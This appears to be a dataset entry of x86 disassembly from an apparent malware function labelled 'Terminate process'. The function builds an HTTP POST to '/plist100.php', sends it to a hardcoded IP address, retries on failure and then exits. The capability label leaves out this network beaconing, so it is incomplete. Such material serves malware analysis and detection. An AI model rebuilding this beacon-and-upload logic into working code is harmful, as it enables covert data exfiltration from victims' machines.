Function at 0x401410
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x427446
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x128
push ebx
push esi
xor ebx, ebx
push edi
mov esi, ecx
mov dword [esp + 0x34], 0xf
mov dword [esp + 0x30], ebx
mov byte [esp + 0x20], bl
push 0xa
lea ecx, [esp + 0xcc]
mov dword [esp + 0x140], ebx
mov eax, dword [esi + 0x14]
push ecx
push eax
call fcn.0041758a
add esp, 0xc
push 0x1d
push str.POST__plist100.php_HTTP_1.0_r_n
lea ecx, [esp + 0x24]
call fcn.00414a50
push 0xe
push str.Host:_abcdef_r_n
lea ecx, [esp + 0x24]
call fcn.00415730
push 0x31
push str.Content_type:_application_x_www_form_urlencoded_r_n
lea ecx, [esp + 0x24]
call fcn.00415730
push 0x10
push str.Content_length:
lea ecx, [esp + 0x24]
call fcn.00415730
lea eax, [esp + 0xc8]
lea edi, [eax + 1]
nop
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4014b0
sub eax, edi
push eax
lea edx, [esp + 0xcc]
push edx
lea ecx, [esp + 0x24]
call fcn.00415730
push 2
push 0x483850
lea ecx, [esp + 0x24]
call fcn.00415730
push 0x15
push str.Connection:_Close_r_n_r_n
lea ecx, [esp + 0x24]
call fcn.00415730
push 0xffffffffffffffff
push ebx
push esi
lea ecx, [esp + 0x28]
call fcn.00415440
push 4
push str._r_n_r_n
lea ecx, [esp + 0x24]
call fcn.00415730
mov eax, dword [ebp + 8]
push eax
lea ecx, [esp + 0x5c]
push ecx
call fcn.00409830
push 0x5be96a7e
mov byte [esp + 0x140], 1
call dword [sym.imp.WS2_32.dll_htonl]
mov dword [esp + 0x40], eax
xor eax, eax
lea edi, [esp + 0x3c]
lea esi, [esp + 0xac]
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], ebx
call fcn.00411a70
mov dword [esp + 0xc], ebx
call fcn.00420c80
mov edx, esi
mov dword [esp + 0x10], eax
push edx
lea esi, [esp + 0x10]
lea ebx, [esp + 0xa4]
lea eax, [esp + 0x5c]
call fcn.004089a0
mov eax, dword [esp + 0xc]
neg eax
sbb eax, eax
test eax, fcn.004245a0
je 0x4015be
sub esp, 0x20
mov ecx, esp
push 0
push 0x7530
call fcn.00410c20
push 0xffffffffffffffff
call fcn.00424140
add esp, 0x24
lea ecx, [esp + 0x58]
push ecx
mov byte [esp + 0x140], 0
call fcn.00408e80
xor ebx, ebx
jmp 0x401508
mov ecx, dword [esp + 0x20]
xor ebx, ebx
cmp dword [esp + 0x34], 0x10
mov byte [esp + 0x38], bl
jae 0x4015d3
lea ecx, [esp + 0x20]
mov eax, dword [esp + 0x30]
mov edx, dword [esp + 0x38]
mov dword [esp + 0x18], eax
push edx
lea eax, [esp + 0x5c]
push eax
lea esi, [esp + 0x14]
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], ecx
call fcn.0040a4c0
mov ecx, dword [esp + 0x14]
add esp, 8
neg ecx
sbb ecx, ecx
test ecx, fcn.004245a0
je 0x401715
mov esi, dword [esp + 0x5c]
cmp esi, 0xffffffff
jne 0x401626
call fcn.00420c80
mov ecx, 0x2719
mov dword [esp + 0xc], ecx
jmp 0x40165c
push ebx
call dword [sym.imp.WS2_32.dll_WSASetLastError]
push 2
push esi
call dword [sym.imp.WS2_32.dll_shutdown]
mov esi, eax
call fcn.00420c80
mov edi, eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], edi
cmp esi, ebx
jne 0x401660
xor esi, esi
call fcn.00420c80
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], eax
cmp dword [esp + 0x5c], 0xffffffff
je 0x401687
mov edx, dword [esp + 0x58]
push ebx
push ebx
add edx, 0x1c
push edx
call dword [sym.imp.KERNEL32.DLL_InterlockedCompareExchange]
cmp eax, ebx
je 0x401687
mov ecx, dword [esp + 0x5c]
push ecx
mov edi, eax
call fcn.00412430
mov eax, dword [esp + 0x5c]
lea edx, [esp + 0x60]
push ebx
push edx
lea edi, [esp + 0x14]
call fcn.00412520
mov esi, dword [esp + 0x70]
add esp, 8
mov dword [esp + 0x5c], 0xffffffff
mov byte [esp + 0x60], bl
mov dword [esp + 0x64], ebx
mov dword [esp + 0x68], ebx
cmp esi, ebx
je 0x4016e3
lea eax, [esi + 4]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
jne 0x4016e3
mov edx, dword [esi]
mov eax, dword [edx + 4]
mov ecx, esi
call eax
lea ecx, [esi + 8]
or edx, 0xffffffff
lock xadd dword [ecx], edx
jne 0x4016e3
mov eax, dword [esi]
mov edx, dword [eax + 8]
mov ecx, esi
call edx
sub esp, 0x20
mov ecx, esp
push ebx
push 0x7530
call fcn.00410c20
push 0xffffffffffffffff
call fcn.00424140
add esp, 0x24
lea eax, [esp + 0x58]
push eax
mov byte [esp + 0x140], bl
call fcn.00408e80
xor ebx, ebx
jmp 0x401508
lea eax, [esp + 0xa0]
mov ecx, 0xa
mov esi, 1
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov edi, edi
lea ecx, [esp + 0x58]
push esi
push ecx
lea edi, [esp + 0x14]
lea eax, [esp + 0x1c]
call fcn.0040a590
mov edx, dword [esp + 0x14]
add esp, 8
neg edx
sbb edx, edx
test edx, fcn.004245a0
je 0x401730
mov edi, dword [ebp + 0x10]
cmp edi, ebx
je 0x40177d
mov esi, dword [edi]
lea eax, [esi + 0x18]
push eax
call dword [sym.imp.KERNEL32.DLL_InterlockedDecrement]
test eax, eax
jne 0x401774
mov eax, esi
call fcn.00414ef0
push edi
call fcn.00416c71
add esp, 4
mov edi, dword [ebp + 0xc]
call fcn.00413730
push ebx
call dword [sym.imp.KERNEL32.DLL_ExitProcess]